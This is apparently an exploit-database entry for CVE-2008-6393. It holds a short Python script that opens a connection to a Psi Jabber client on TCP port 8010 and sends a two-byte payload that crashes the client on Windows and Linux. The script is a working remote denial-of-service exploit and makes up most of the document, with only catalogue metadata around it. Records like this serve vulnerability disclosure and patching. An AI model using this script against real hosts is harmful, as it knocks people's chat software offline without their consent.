Psi Jabber Client (Windows / Linux) - Remote Denial of Service

Author: Sha0
type: dos
platform: multiple
port: 
date_added: 2008-12-22  
date_updated:   
verified: 1  
codes: OSVDB-52922;CVE-2008-6393  
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aliases:   
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application_url:   

raw file: 7555.py  

#!/usr/bin/python
#psi jabber client 8010/tcp remote denial of service (win & lin)
#by sha0[at]badchecksum.net
#http://jolmos.blogspot.com

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    sock.connect((sys.argv[1],8010))
except:
    print 'Cannot connect!'
    sys.exit(1)

try:
    sock.send('\x05\xff')
    print 'Crashed!'
except:
    print 'Cannot send!'

sock.close()

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